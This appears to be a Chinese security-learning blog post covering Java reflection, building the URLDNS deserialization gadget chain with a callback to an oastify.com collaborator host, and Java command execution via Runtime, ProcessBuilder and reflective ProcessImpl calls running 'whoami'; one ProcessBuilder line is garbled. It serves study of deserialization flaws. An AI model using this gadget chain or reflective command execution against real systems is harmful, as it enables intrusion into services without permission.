Featured image of post Java反射和URLDNS链分析

Java反射和URLDNS链分析

Java反射和URLDNS链分析

1
2
3
4
5
6
7
8
package Serialize;

public class ReflectionTest {
    public static void main(String[] args) {
        Person person = new Person();
        Class c = person.getClass();
    }
}

这里的Class类,其实就是我们命令行javac编译后产生的.class文件,包含类的所有信息

跟进Class

forName方法,用来获取类

1
2
3
4
5
6
@CallerSensitive
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        Class<?> caller = Reflection.getCallerClass();
        return forName(className, caller);
    }

获取变量和方法

测试修改publicname

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package Serialize;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class

        //从原型里面实例化对象
        //c.newInstance();//无参构造
        Constructor constructor = c.getConstructor(String.class,int.class);//有参构造,因为前下Person类定义的姓名年龄,所以这里是String,int
        Person p = (Person) constructor.newInstance("Hello",1);
        System.out.println(p);

        //获取类里面属性
//        Field[] fields = c.getDeclaredFields();
//        for (Field field : fields) {
//            System.out.println(field);
//        }
        Field nameField = c.getField("name");
        nameField.set(p,"abc");
        System.out.println(p);
        //调用类里面的方法

    }
}

测试修改priavteage,这里发现getField获取不到报错了,换成getgetDeclaredField同样报错,因为私有属性不允许这样更改,需要添加setAccessibletrue

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package Serialize;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        Class c = person.getClass();
        //反射就是操作Class

        //从原型里面实例化对象
        //c.newInstance();//无参构造
        Constructor constructor = c.getConstructor(String.class,int.class);//有参构造,因为前下Person类定义的姓名年龄,所以这里是String,int
        Person p = (Person) constructor.newInstance("Hello",1);
        System.out.println(p);

        //获取类里面属性
//        Field[] fields = c.getDeclaredFields();
//        for (Field field : fields) {
//            System.out.println(field);
//        }
        Field nameField = c.getDeclaredField("age");
        nameField.setAccessible(true);
        nameField.set(p,114514);
        System.out.println(p);
        //调用类里面的方法
//        Method[]  methods = c.getMethods();
//        for (Method m : methods) {
//            System.out.println(m);
//        }
        Method actionMethod = c.getMethod("action",String.class);
        actionMethod.invoke(p,"abc");

    }
}

获取class对象的方法

getClass()方法

1
2
TestReflection testReflection = new TestReflection();
Class class3 = testReflection.getClass();

.class方法

1
Class class2 = TestReflection.class;

Class.forName()方法

1
Class class1 = Class.forName("reflection.TestReflection");

URLDNS链讲解

上一篇我们到这里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        //这里不要发起请求
        map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
        //这里把hashCode改为-1
        //通过反射 改变对象已有的属性
        serialize(map);
    }

需要通过反射来改变属性,完成利用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        //这里不要发起请求,也就是hashCode不为-1
        URL url = new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,114514);//这里测试一下设置值
        map.put(url,1);
        hashcodefile.set(url,-1);//这里把hashCode改为-1
        //通过反射 改变对象已有的属性
        serialize(map);
    }

这下很好理解了,通过getClass()实例化对象,然后获取类的变量hashCode并修改

这里也是找到新版本java运行报错的解决办法,打开IDEA,在运行右边的配置那里添加虚拟机选项

1
--add-opens java.base/java.net=ALL-UNNAMED

然后就能正常运行了,这里也是成功在反序列化的时候接受到DNS

image-20250716210805223

命令执行的方法

Runtime

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package Serialize.RCETest;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;

public class RCE01 {
    public static void main(String[] args) throws Exception{
        InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
        byte[] b = new byte[1024];
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int len = 0;
        while((len = in.read(b)) != -1){
            baos.write(b,0,len);
        }
        System.out.println(baos);
    }
}

getRuntime()获取Runtime对象,然后调用exec方法的时候返回Process对象,调用getInputStream()方法,把命令执行的输出保存到输入流

ProcessBuilder

语句变成

1
InputStream in = new ProcessBuilder("whoami)".start().getInputStream();

ProcessImpl

ProcessImpl 是更为底层的实现,RuntimeProcessBuilder 执行命令实际上也是调用了 ProcessImpl 这个类,对于 ProcessImpl 类我们不能直接调用,但是可以通过反射来间接调用 ProcessImpl 来达到执行命令的目的。因为 ProcessImpl 是私有的方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Serialize.RCETest;


import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Map;

public class RCE02 {
    public static void main(String[] args) throws Exception {
        String[] cmds = new String[]{"whoami"};
        Class c1 = Class.forName("java.lang.ProcessImpl");
        Method m = c1.getDeclaredMethod("start", String[].class, Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
        m.setAccessible(true);
        Process e = (Process) m.invoke(null,cmds,null,".",null,true);
        InputStream in = e.getInputStream();
        byte[] b = new byte[1024];
        int len = 0;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        while ((len = in.read(b)) != -1) {
            out.write(b, 0, len);
        }
        System.out.println(out);
    }
}
使用 Hugo 构建
主题 StackJimmy 设计